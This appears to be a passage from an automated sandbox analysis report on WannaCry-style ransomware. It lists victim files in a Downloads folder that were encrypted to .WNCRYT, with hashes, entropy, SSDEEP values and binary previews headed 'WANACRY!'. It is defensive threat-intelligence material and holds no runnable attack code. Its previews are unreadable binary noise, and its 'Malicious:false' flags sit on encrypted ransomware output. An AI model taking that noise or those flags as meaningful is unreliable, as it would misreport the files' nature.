                                      MD5:A2664B0C56CC12F6D4BB606A6E6ED876
                                      SHA1:7E44B0C6E526AEA3F4FBF2144B942ACFC3A6A6D3
                                      SHA-256:2757237A5D8EAFEF03F66B89BA830FAAEFDAD7C4D622D7236EA98898F728CFBF
                                      SHA-512:47A4F8B7147803D2C180C20B3078471143AA49370480D31FE3A3BC6D37844865302775D9FC5BDD14AC7ED5560C86A8F0ACF5760DDD4FAE30C6674FFB76889539
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....W....L..g.Wz.l.#...%.\.$......3)>(W......l.jgZ...A'.a.kKiZM)'...H8x....>..e..3@......E...N..8...V.-....TS..%....)~.T.2...Qq....{...M........J...Z.+./..;.!"...%.R.4H...?..'....C...z..^.......?.95.4......(...$..F[....}.:..l.0...q....C.W..................i...ss...2.p..-.`......S....5.0&....h@I......b.F...A..^...J3rP(.n..&.......)"b..fWq....;..wQ.....\?...p...IL.+..*.a.GI.|...>1...c..T..wJb..6.6.A'..L.LCA>_..l.t0w...|.cu.N.. .5.A..7d6.l.. ..[.7..evZP2...n[..}D|....R......q...N.&/.IW...'/....2......4..Ldy.1G..&.?.......1...3Br]d.`.....f..v..r4.k.(.X.%,.I.V;W....k4..r.T.Z....#09y..G9;-.....PZxp,XC.K.c."....fd..c.P...3..._.t.*6 G.N.pJ,.L..E....V1.u..X\......MD...\.J..H`.P...h.....NFu....S..2.J.}.C{^f..{...t,...Y..S2..._.3...q......... .....!$..&....D.n..v.j../.Wv:.2......s.-w.2wX...b..[.-\F'...H...k.4.-q.&2.L.h................{...R.CJ5[wp.=:UkB.........!}....#..F..5........}...dF......Y0.5@......i.L....b..?...s1....

                                      C:\Users\user\Downloads\SFPUSAFIOL.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8324798681091545
                                      Encrypted:false
                                      SSDEEP:24:bkwfHKpVV9TIZOjZttZGmNhzuDxKY66Rpi6BKthTcIc1g0u9EHsmDq4:bkQKV9UZEtGohiDxlBKthZ0u9I
                                      MD5:BB2CBF4C0C2B82F50155DE554EF68A40
                                      SHA1:0E4F820E44EBA3D16AE09A1253F3ADE6FECF06E4
                                      SHA-256:5FE5B3173F80FA3B41E1658482AD45B516F20769A968918D6BD66C67872A5899
                                      SHA-512:4442D0FD601B655EC0ABF2A669EB2C0266D02A984F5C4B8DDA7726078534848DF23AD194FF94EB3445FD872246F99516D5A0D764588680950DDA53C7EB409B34
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....O.#..%.E.....*U..V.....7qw.Q..[.?...S....gG.C..F....>Vz...H.*..u.{<S!.vD_...}N2.I\...'.4^5...6.... .R..Pl.p...E..l.+.V[........m_RJ.A1......T.........n..\j.m..Y[9..} Z.f./.-}\{..........z....?>...A3M...):+wF...Z\n[?...i.<.fb.u.f"..=.r.e..W..Z68............../".o...OG}....b....<.Z..6..:........uT.lx.Lz?/k.wv.(.n)vk...Y0.\.|}$r0..A..%...I...3..1.>v...&.f.!R..m....h>=.`Mu....m.. W.HH..f\.i.p.>..4.^.....X...?4B..A.X.........?.}.1......,3.!1........s.7..}.......ta..]j...M...=I.[S.....x.1/..&.{....rZ........_!.$....yQy....7.w.0.dmy../..X.=J...e...i.u3.h....n.mHy3...R..S8...h.........c?..._.#..UJX3..$..+.0.J...y5.....h..%..s.?..*..r...[kMj.E!.....>..;N.T.....O...)..U.%.:"..Jnhu.=*..v.X..OJ.5.O....Qo'a..D......D6..S.5.HJ.1.H .m....?..wK.%..........4&Xs.L..{..R.......^.._..OWgw..@.(....Q..O..R=..<...........E.tU..n1gy.?..w./h.#j].J..k$.O.]Nm.(".8...X..xg..&....a]k].F1.B;.5..A..}..\.....7'...:......].I.b;....a.2R.p....S.0......s

                                      C:\Users\user\Downloads\SQRKHNBNYN.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.850191939314595
                                      Encrypted:false
                                      SSDEEP:24:bkr2XBaLAqLjN15452RAys6vivcJrATBpgg+BzQV+E+wB45R7HWP0wbu/q1jqT:bkKQLAqL354sRA8ikJAIerig8xq1jqT
                                      MD5:A2F0926185FA8B930B9A93CC01087C32
                                      SHA1:3F83B8BFBB7F53D2E95358397678C4362E53694E
                                      SHA-256:3A59CFD8F9F4402EC73BB37575BF391F41214C405DD1B6522A2613A74CFB45AE
                                      SHA-512:889F65B53B6F90A28CC28666D4B6744B74D44D86F66A6DDCB9B8A499A32D34D1D171526282401D45B67262794D69B8881A0A11520857B4B50168BC2531D6A297
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......Q..**.9x..j.o.j..{.e.0..D *..... J...wV-%.q.M......+.g.....;...U...6!Yg.F....=.O...N.N....'JMQ\.X.w...h..f@...)!lGa|...\.\...%>.m..?*V^j....|k...5....\.]yIC...;............0;k....w......@......m.......".....(_.G....4....2`........v........a...............}..~..;}E]E..)....C.p..n=i;P[.Z...^..}....S}xm.d..p.......k.....(..u..?.j.6.....{....(N.K...b.._l..p..IE&....Y..{m.s.....nj5.,....^.N7.7AQ.2..N......Z...5w|....z..+h...I.........X.K.*.7D..m..<.g..q.HB...IaL.-s...7-'.......S5.&>`.|4......o.....0..K..G4/....!..r.7..K7.#....T..H.<TZ.._J..j.R..V..s...l...W...Hh...|@.........v....7. ...[7$...Wk.U'..l....)'#!.zr......%T!..._}.I.p.X..>.O..-....J.`|...F......8.?.`..3..b..wJ.......2,..a..B..?}.1.NR....Z.h.a.|.......K._^.X....pY..(#.^R.'..V..A..6.....paoc.....z.4.....7..)H.7....[6..J......p....K..N.......]q....|.T3.g$*.A.0.8W.C|~.P...3.........my:.....n..'..L_CK.5...;..C......A-..e.c..Z...}..9..L!Pp..Gn.-&n..x..B[.@..[.......YR.......`7.6.Oc.

                                      C:\Users\user\Downloads\SQSJKEBWDT.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.847093569245718
                                      Encrypted:false
                                      SSDEEP:24:bkFIcJo64LlpFkWWNa3Vwla3mYdgkv7zynK00tThtSol2+rbp9EqVU:bkFfJGLPFvG8bdgkzzynK00xuaPzW
                                      MD5:777A16BE720760EF661776E1D55E02D8
                                      SHA1:783D359E06AC4FCC64610DE4E644725364AC66B1
                                      SHA-256:F6579B9FD178DFD7D0874E69C4D5D2166F5083E5698934860F76409CE1E168B1
                                      SHA-512:931B52214EA7048B0E69EF5532600FD50122FC10F4D800BE64E314CB2F30D9B1EFB56ACD74D8D2E2DFBECF8483303667321421933FB719093D585B02A20B386E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....3....!.~c.t...y6{.mH........q..'((P........G.Pf..*...q...E....bF..M..sj.[..7..K#h..Ye>.g_.a....."...-H"+.*..{.KX.N....YH*:.<......D.H1k.......!./.......j.j.f>...2N#.c...9..m._..W....>.......,...Wpi.al.0......=............8...f.B.F.A"......../J.............)^...4z9."l.o:`.K.]./.-.4Q@.?A...K.$.1Z\.)j.............A...H4.fz...e"............6...-..%e..a.>.#..m^.]9..;S)-.R..9."".<.....',..=..+..H..........]..W."...Q/.s.Q.$X=M.T%...Br..$4.....4;S.S._.\G.7..N....d.`.....b6..'`.=...R.U f.\.h.?...PT..Z...''..z..E....s.ql!....{.\......'...=+^...6.L..h.\....\p.....Hm.J)%:...r`.ap.....O.)\}..w.y.../....|...DU.Z..5k...!A..)4{..n.y..S......C..G...m..,........ylx...=..od.....ct...I.;.............:.!.Ab..[...{%.....,..'.......N...X'..?. ..Z..X.m...w...{A.......$......O}....;.|..4 .e6.gZj=*.A.$.a.....9.6.<...<.g..........GHg.J.R..0.t.r2l.....E%.R<.../$...Y.!C....a...0f...e<.9.J.U^.Y@..o.:gg?.n...x.W._.2Y..>....7$U.7-...G....TP...`....Q.b.......K..R@..

                                      C:\Users\user\Downloads\UOOJJOZIRH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.854436915883603
                                      Encrypted:false
                                      SSDEEP:24:bkQxQHNz7Y3QwWqXC3Wie+zp4FRN1YXvuyyMbGN0kpasfdfgQqq0zkDs38pO:bkSQh7IoT30Ta/fG0kp/VfH0MkUO
                                      MD5:9978AEE480579866F5C38E5B42C46F0E
                                      SHA1:8CB48E0108783F8726E4AF64EE20977B021D8348
                                      SHA-256:4C14AD696B2145CE8E2E201686147AF024B6963D1D29387AE9CAE388C10B3A74
                                      SHA-512:AEA7A65A100F072CC77920EB4E12461B253FAB18A0B22EABB40056CDE92C08E2C5C9E77F21DDC46D7F6D1D31BD79FC9CCFBED3B0097FE8E6BC0B903FB33A9EAD
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....C....$.~..M.xH...*./<.p.....WwEM.....x..."...8y.Zn..5-n.Lvu.@...{P.f...'..1`E...4J.7_.]..B......l......h.....BD.}.....[.~..T..GlF.Y....J.Q^.8.1I..Y.....b..-..GUvQ*.=.....M%.....Y.O..j..i....4^Y:..:.T.1..h....,.|.Bz.H@.F.!.....y..H5.'i.............w.......u.:.......z}...Y.0..v.meL..Q....m.....';.r(X?.+.o/..].C.%..Q..82.Q..|.z .mf.i...C.).e`Y.OS....o%..<.<..b:.G..g.7@.j...-vF.781\....a=j.'...JWv....8.Of.{h.HTA\.......@~~...d._4\..#..b..$....{..8.....'y.....3.....p@"m.X..I*VqIN%.....{. ..r9} -..Nn.#..p.1m..m.x.Wj.G/7J`.~.Oz .j.`...{N...-~....*....>...U..q.S.}.._..6ea.O.|.E.A.2.!wx......WJ.B....C.Z.l\a...aK.C...B.^.3.......#.F..&............:..7>$6...#......Z......soU...b..rm.<...\.EA.*.xx;..5..t...-...;.*..!....sf.).o.Zs..YG.Y......w../.....`.Qx...j...P...I.z5I,.....F.....".T...eB......qv3.l....@.t.....|.@...:Z.P..h...?..Ur!.8...W.|....W+A.Gg..)L?l*. ...p6...b...........T...jD.MnQLi.3...D.76.o4"...5.N.......}.G.

                                      C:\Users\user\Downloads\UOOJJOZIRH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.870746104511783
                                      Encrypted:false
                                      SSDEEP:24:bkJ3SOsI30CPhJotwFlAyO7YwQIVRl1DGI6chs6RfSNkrKBXbCrE+7aLJX51:bkhSOsDCPhJocSiwblpGI6cXfqFBXmp2
                                      MD5:ABD19791DBEA1478609887979BD15F62
                                      SHA1:81AD8ED2E567F11C5D441C031DA18AFD4071641B
                                      SHA-256:D96391C548A642E6D09D699F38E0C963F4E062C4B4C9C8E218C4208DD3898574
                                      SHA-512:926B3BABFAF3A571063F6C2DD60E21D262CA25B528E32ABCEC53D35777E77545DEAADD18E58991D4955CFB44DB7A31BFA03A1A2977508BF2D40BBF9D88944787
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..............n..<X.D..q/.k#..E..w.M...'.;e....+..Q.b.U..j..I..v.!]........b.=....<G?3....kW..8...t?.,.....T}....>.?..t.E.19+.i.Z.....t.t....,.!......iHMh.q]%N..... j..S1..Q.:.....d.%T..#.y...L..D!4.2.....O....C`.um.r;T.c....+$..j.^..z.xA"...!.k.............f*...@.V...b.......N./.]..Q48......b...+eu.....h.2 rgl.R.a.].P.fZb:.nE.U.A..9....s.f.F.n..6?.......!...E.........A~....`.\.Z..o...b ...w....t\.N.x.j6v....R>..Eo..R......T.J.B..j.eS.UO...-.!..={.).....g........x'S2..gs.[.f......N.4.J.3.h0........(>D.....h..v....F....z.q.v.,/.q............D.S.cN.,...^..;H..;;.G..{r.y.G.......p.Q.;>.......Jr...:..:....l.....K.e.....A..C5.O.W.......W.F1)|B...V.{.}..c....a.[.e...1.!L\.k.Z..".@)....~..F4v..1...":...Q|?E[Q...|.B.Q%...D..*'...E;.. ..*...]%.. ....js..~..(...9......f....Y....~.(E.....?..M.n&<{m.....{K..m6...?..zA.;.Q7#m"./7.oV]...A..#r.K..S.Y..Wrp......F$,j.M. .9.aA.LK.A..,...d..`n..#.i~_.....A.8..z.......#..`....(.^e.s..,g.>...S.m

                                      C:\Users\user\Downloads\UOOJJOZIRH.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842580423656044
                                      Encrypted:false
                                      SSDEEP:24:bknED98In8kN/ZSsEXI3AGN19ifSbS2g8CF74Y4z0xAmiG8jjWwOi3:bknQ8o0I3zkwpCBdZsO7u
                                      MD5:27ED8554A1626E3A2AA35B950BE5BB72
                                      SHA1:0035CB40CE5F0B92093A918A9C82D139AB041FFC
                                      SHA-256:2F9023000A615FDEA510559A3CAFE4443E3DD2A882D290BB3F7C478A3B8E2C25
                                      SHA-512:9E4046DB93C04EF5752E501F01CAF8E47CCE12CBBAFB34E7F4A81C33F4B0D5947D433455FB2C7A841A76A80FBB7353F6248DFCAAEA144A748213706FCD7256E9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......g.a...w.v..-l[K.%./@Z.9.s.;Q.rzsR....FU2.\...c<...(...z..3.....=m.P..t...s....Y....&;M7.c[.c....c-:...../....`.P..].E.....MY.%1.......+Q^/...NB...y)...^eJ.]..`.aT.g..2..F....8>.r.F.!.>..].?...?...F...V.=.......]..+.y..}x..\.....T.W..&N...................p.:.E...:..(..)d\9.Xw.{."0\~..!..G...........i.eN.}..#..q./4.."..j....Iu...........!._m...,..(.....7.w...............{?,IM..U.ad.......A......z.'4..,o2i..Q2..~!."Y........;..r...%.....kT....T.f].:Pd..yi.V...!.b....'.`.b.&....b.Y5,....N......(.!+..dkD........B?\n.QD$t]......^KA.`|.Y...~*...'<....J.<..f.Z7...|%.<.@....;.......T..n.0GC..A._.~..,.Q.f.+..Nsp....M..JS.O.<..-pR.sZN.Z/.....s.l:...Q.}EP.2.&.R........-..|l.)S.Ah.t..@N.DQ.y.m..PC.w.......KN...h.. ..g..i.T,l.. ...e.5X..d....A..Q....F.@.P.84.......X.45u[E%.u}...B....N..5....'......q...L...0b...K.&3.z.3l.i4.h...> .....mO=..e.K.......}AD)....EX.xm.93.7..&7t.pp......."...Ey..;..V.L.4^.....R..g.+.ED..^iE.....g

                                      C:\Users\user\Downloads\VAMYDFPUND.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.844936825305225
                                      Encrypted:false
                                      SSDEEP:24:bkPNK86IRp1dHGzHoc/bCOZ0rHDBBNEgUW1CnB7bNpRNjE9OC1eaESTi16X:bkPHIUcL0TDBBNfAB7DR6b1fESTii
                                      MD5:B1C4A79B338D573BE7526AE0FC7C82F3
                                      SHA1:2655A72FE8F9618E763FBB69908FD39593B797BC
                                      SHA-256:B305D4DF6F3D5678F94B5C84777418D35F849EEAACF1C069F2891C3C1BD0E173
                                      SHA-512:5EB04CB42C5D7728BEDDC2C4FFBC9D4AB8670476634A7BEFFA685570B37E32129AE392B22C4CA3D1B2B64A03519A3A7D43315B641BCA8C7BB4900B2B0EFAE087
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....cj3.w.).a...x&.Ow.....&.w<...;.Y_.S..S.".d...nZ.oTP/..`..Ezvl.d......V<.j5.B....|~......$.....r....3..hye.........Y.X{D..h.hW. ..f...T...{3H....a*ay......97..Um..D.Z..ip..oC...3N.q..)+....a.._0...YB/.;.p..~..f...M..G.K..Yd._.....}t..zt.O.L.;..e..............N.2^Li.^K...t.........~..e..1.b.c...5a$.......y.[..._O.U[+.3.P..W...t...@...J..8U.........2.Y.QR{.e.f).V.Ge[."...:a..X,d.8.d..3.OJ..^.......q....v.E.|.C....60..4..kU....=.7..y..D.G.r..B$..CO.........&.....A,8y.v.B..8B<........$..W>.i.8..}1C..U8.#.d.G.W@}..t.,..b.......7HA.....c.kY2gj.\..<....&....z....\D.Hb.*....q.J......^...>.I..i.......P$.$.o.0.!.........3dp*.?( y...r.p....K.z..uv3.....1.........!...v.@f..7.T......*[....r...V.Y..*...'..b....)....v...<.9..'.#X...."5|).q...L%.._.5F....yn..S......~..J[,+.....p...p....._.}...'.Y._t..x..%..b;...EO....%r.....gEV?..|..[.[#..`.D..B...v.4=.V.....2......-.%.iEy:.....C.G...E..v5p@.-0....@...=J.86c....O..3......!. ..V.B-..[.......|u.....

                                      C:\Users\user\Downloads\VAMYDFPUND.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.833202413299448
                                      Encrypted:false
                                      SSDEEP:24:bk03JKviVAhZrwZ9sTtnRR43icnx/QoKF01J8mGlY3aCDIGElhgV6UFfKDO1P:bkNhZrwfiYpxrTXGM6lhCnhKDOF
                                      MD5:6E6A21865558CD28998ABF9631E1DCE9
                                      SHA1:5C5805F5A83E99EEA83142C077F3B5E62DE86FC3
                                      SHA-256:6FF51EDD562FAB44209058DD8A1F1341618624E82FCF42915A27A82143DED359
                                      SHA-512:E6C09DA736EA79F3869F380257BD65E2047147F0B7FEFB0879B60CA3A0BDB2416C3AEA8D65D1968A2DBBC4921ADD30B57C353F0A4F4DA395CE8E86A4CAAA5109
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....q.,...h*."fa. ..PZf...1...=Tcb<..i=....2{.....9..I....j"B......W .._....0.1.!.l...*......=:.b[..^!.u.OQ.........\.9V1.#F....WGe&&..I.%...g..Q...0h.I2..m1..]..%.B..(.j..k......N......mO........c.......~ar.i53...c....4KMV...U'.y...:8H.G...h.."]+................N..s.6R...Eg...7N..i..A.}c.{[:.^.x. .)..A....c.S.....F.2.u.C1.+D<7+D..E'..a..3.W[...u.2..|l...`....m.!^uA,y.}.......[.~X...J.,....Z.^aC..?..H].....=...Q0....&......o=L'..(..?...}.{".m.1....7..jcN......[..6.!....9E.."(5..6"".E......j.*....m1v..P../....1T.3N.......B....L...R.....r..6.>7.,0....4..+.1.,.Q.*...:E:.W.^ d_..Zn".........s....<.as..d&.....S.2.9ZA...-.xo.)..b...z..!G.L.;...x)EvN....?..?C....*g..wK.....m.'... dxV...H...6...f....t!.>.6..Y^A..'..b...,c'.[..Pu;..W..n.....=.'.~..h..o'M.k...o.&.....<r.2.....4b.5pB..............4..:.q...%"i..8Vp.c.+z,.#B......,.>..J...AT...7.. ..-..~.....d...<....,%..Y.A..9.~+....`.E.q.gBjjgmf...S....Yn.22.1t...e.B...&...,y.9@.`.$.

                                      C:\Users\user\Downloads\VAMYDFPUND.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.861756866622836
                                      Encrypted:false
                                      SSDEEP:24:bkkRp265T7EHdHbrwqmCHvZCKpMYZ0ONM3gujtyKx2qCt+TbN14szLL54Jws3C:bkka6F+b0qmCHEKpLeH5tQqCt+TReaxd
                                      MD5:A79E7E370BF5FC4DAD0F53FE3E89BAF0
                                      SHA1:3118205F4F435BF6F6EB3EB802AE7DE4E91DFDA1
                                      SHA-256:C1D586D1E0139792497E70954059B60B51D20FE69AF13DFF284DDCE6D482B826
                                      SHA-512:7201DACB5A022C57539CC9B59D2EF3FCEE44D249902E59C2541183B3633B68987E0684F92DBBE4882A4170C76786493236C45C256CF8C732E99BB4E1E31FD9FC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....p/...\...b.-..l0zZ.Qx.@5.Q+........C.).Z.e.....l...1....6..Q..o.....r..C..*.O.R..R...y..C.....^q&uC8..A"..t...zJ.....d....6..j.s.^..sXK.....@.D jJ......<.>....;..X.k...&...m3lwjhq..R...d.j jp9:@....+.....k.B<z.....R.[......m$.=&..c../L^<&.../..<.].............F....:.1..T.q.2...G..t^.|.../2..8b.Hr`....t.>......e.#.....{i.#B[n..2;.1.%R..k...J7.."v......iS..... ,..(s.V#..-.B.....v.m.:.....p}..".x..[.9.`.......?.m....%.6..+N....QV._...lZ..>i....'.s....eS.y.p...[~...9.W...!E..~..\".}....j..;....a.B?..0O!.gB).......iQy.*.O8e.b72...9n.M.]R.R]...uw.v...m..d.]..E..(..D7n.......2...|...BE..K.UN.4..u.u*Y...#.^......3..Z+..Z#.....6s.~?.p.."BnC..f/..p.........g0>;......T....|.#......J........Q++.....;.a.j....V.MH..,j..zN.P.9..O..-.[%.{........M.*8......:&.v..xQ..Z.....H..$|..][.J..e.^Xb..Q.IC...x+....)..z..Z......CF...1l`..B.sSv...h7=...'.R....;W.>rK.V.[....&...9...E&.....y..z.;...e-d_...A.....1......K6f...m...j.69.J...[..r..x.1&.V...&..

                                      C:\Users\user\Downloads\WKXEWIOTXI.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.858529152577424
                                      Encrypted:false
                                      SSDEEP:24:bk6xYn6AKqf/nnjZ/wHyTY75zX1TlDdn4uvDE8eTfcmdgd2k+IEvOKwfPJhE9Urz:bkH6AKWnjZ4DtzlT3b7irc4h9wfPnEZu
                                      MD5:F49D110AE50562BFF395513CC459DA30
                                      SHA1:BA56E3B9FCEA4EB12C019E0B36C8A38B8FDC3EB8
                                      SHA-256:D1E41AB7A6E02424DEE677D0F05315C80831C0E221FD05BF5B0222A9517F2D4A
                                      SHA-512:A0DFE228DC434D2F1899A752C6F081C5D2D6FF4F9370148246DC33403E3763EFAC866CC713E3E8657035175FD0BC062B851E176BBE2899164695DE3EEDA592A2
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....J;............L.....o.fLv..z.%gl.5\.B..iA..2....cd.Z..S.S...?9...I....b:..o../..Ta...U..N....i..Rd....1w...=j/s7N.;.6...6>N.....?...2.lzm7..Z.L=hV.(.....{..t..S.......>s..I...L..0o._B.....1.%..Y...._....-.).Y...q.-.%..V... }.]Rf.B34.G^......C..j..............Pq...k3.\....".7...N-..A..............j.\..5..c.O.v>,.A.s..5,.9QVV.p.u.o..yex..(X..h...~....7..\.**.nE.\{T........B.;.7h.#+3H...B.:..z1..g.A.EXl2'.i....,.48LZ.....&0(B...-Dx...vs.'QHq.Q.X.....:.#...r............+Qjr...../.......1.&.mXn1.,...F...1.....e.hc...`..u..a.w.5.VX.zBS.1.$.".W...dv_....\.{...3..K...P......H..... ..@w./eeJuI)V..z?.v..e.@"..z..~...6.U[.,aB...ZH..%y..B...*....Rkm..@`r...-.%....:.........^.}z..^.}U......^.W..z ...`.v.1..,...Ik...ne..o.+j...........M8..Ps..A...0C..2...^$c.VO..&.L%..A..Z|d3...F2..x...Er~.......TV.G.....3'..b.S.D#Z.3x!qO|..p?.t.4.R.YCl.m.K.G.o..0}.?.t.,e...e...4...o?..s.Z....|Jic'...'zu.......`.f.z.....W...[....E.v._S....u.i..6....

                                      C:\Users\user\Downloads\WKXEWIOTXI.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.861417885387666
                                      Encrypted:false
                                      SSDEEP:24:bkYsSuheZR34c1QdGFgJbdrWoGGM4PqcLmkRc5z1VS/6FJhGhLf+RHWk4DUA6B8J:bkYsEZvSGFgDNPlc5z18/zf+RHWkclHj
                                      MD5:34933246617F93AF199F88720CC5E46A
                                      SHA1:94080ABC1197C0E285716C082C16F1FBD6383577
                                      SHA-256:514BA1F0B2BF830F0C829361922829C938D997296826B80C7F6B6336E843853C
                                      SHA-512:884D70ECE4A532EF016A1B5EBC39EA73875864344175E72F873DAE0140CC80A74D7F67E97762F6E78532B2A9663AEC7C427020C85ED456B3C8308BD01B0FFE95
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......s.//.@m...1#..C....)z..].U..q.1..V`\..8ib....X.......dm.|.........O.-GI......J.$....m..t./0..E. ...I.:........!.(.t.JPd.w........_.K...QW.;v........".".3l8..r..y...6..6t......../ON.{.....i.X....jwte.S.;.......xD..e4..o..w.-4_...:.sNy.W.............5......2|..X.....$..x....~.j.>.Tc...;..-.'.'..=.1.l..S.. ..w..[.C.. .......Na...^WYB.l[.Y..1..V..+..Tj.T_..9u.J..T...-..-S.P......k...r.$.W./.....i....... {...OD.....?.H.C:..D.M..&..!#.L..L.j,Jl.......q..0R.....M...... .......#.N..s'`.....0{....>.0.....Z......3pL.F....*B.....~V.Y,.. H...6....."Y.(......8.....-..CxX...d..FN,.......?.=..Y...;...]}g~.c.;w...`F....).....\9....-..VT..A|.or76.....B.ua.eS.!...........a....c!.$<.....L.w..l}...\.$.R$....=.o.b&.we8.W.;.X..).3c./G....BsM.........Q..5..Icad..i.|.j........EQ.c..y.S...p*.TGW...z$.H.W..Q.F.Yf*.D:L..T..fQ.<2..y.:yl...3.d.u6..{B& .|..>.... ]..R.J......iP.P...;...x4B...u..[q...F..Dm...+D)'t3....s..i.@._.JK.....mp{o.9.pb

                                      C:\Users\user\Downloads\ZQIXMVQGAH.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8480343457047566
                                      Encrypted:false
                                      SSDEEP:24:bkIV0PyLHxillcsd+OfEI3qyiOjVV5PlJf0RC0DqigaTkSbjl5hNFLfi03qhb3In:bkIVVLRDt95yiOjnBf0RJ5hNRfi03qt0
                                      MD5:D84DC3D6D7DD6BE830D6149402BEC2D3
                                      SHA1:61F8F64FE5E61695F3653FDB65576C3F0F562D4E
                                      SHA-256:11945E35F9288004377D5023FA4D1C49C9F2DAA8622BB3BB2C0E4E774408A9CD
                                      SHA-512:EEACE87BF6F1E6B4A309219310269C11C22884684467698065C758C630EB7B37B98EFA73A0298CF1102A479B4EF1AC0AAFAB25F27372795C03C8DB521232865C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....!`.Mi-l...7.W...EJ.......).N.+.i.S...."......c|...\...{...7.3..]..a.E.N.!..1.f.....3B..!..%.g..\...E...Y.niWj.j%...Z>tV.......r..oU2.:3~.......`J.D.............nc.xdYp..+s*...........Z.=S....}.J19....Tk(....l.5.2t...6.h.Z..e..../7.$.}.....p............m.)D'.N..Mpc.f|...Z.[`..n.a.LO.:X.|.....*..i.+d.z..T/cX7...F6L...c..E....OL.o.J/1..e.T3wPI.....q... ......cl.../...8..rb).rLce_\ua.'..j..'udTtf..0.........z0.&N...H.~X......oF....q...|..cL..C._.I.m.[c.Y..:.Y..:.J..BI.wr...H..g_......j.#....?..Aj......bw.n..6..Q.L..O1M!...~">U....././.k.-.m.".HM..s..Kd5....Bm.........;I...Z}_.(..45...w.)...ScYf/=Pd4.....2>.....3.R.ge...7lf.m..0..?.'..H..C.^J.....d.......6...~j...7...m....8x/2.N...W...e&..=.z~.r.V.....:....1[4.......@_....J.4.{..&(.d.N..C.s.i..9..h..5G...Yyd#...|H.pJz.......&.Ss....]T.`........{.{.{...............,g....W...3V~Cs.Ig..*....m@x...yq&......9e.`.cU..4..%......1.@...OL'B.r...!.1....l.......s..........V.w.c........d.

                                      C:\Users\user\Downloads\ZQIXMVQGAH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.818067608645859
                                      Encrypted:false
                                      SSDEEP:24:bknt9W1UpbN9SVQrFgRJvd/OVyZnPIduD6pvZFIuYB24YOfrpSr22B3X94OIRaX:bknbwabNoqgZOVyZnPsBLI544Ycgr2yr
                                      MD5:0D098A9C3A0BB70E8BB6C2EDD4EE94C4
                                      SHA1:4239C55B5C028637BF278728F664EF395CE580D4
                                      SHA-256:45479FED04339FEE17F69E78515C5F683705813CBBC755701D7A8F35144A8124
                                      SHA-512:6BD3F32AC0114CE7C0E63397D2B87678F29C1C316378DA1FD044B8AAC9BF6E1BD3DB726AD81F0E29769883C1434E2B313BCDAA3585F45DAA405622EAE74F3DBE
                                      Malicious:false
                                      Reputation:unknown
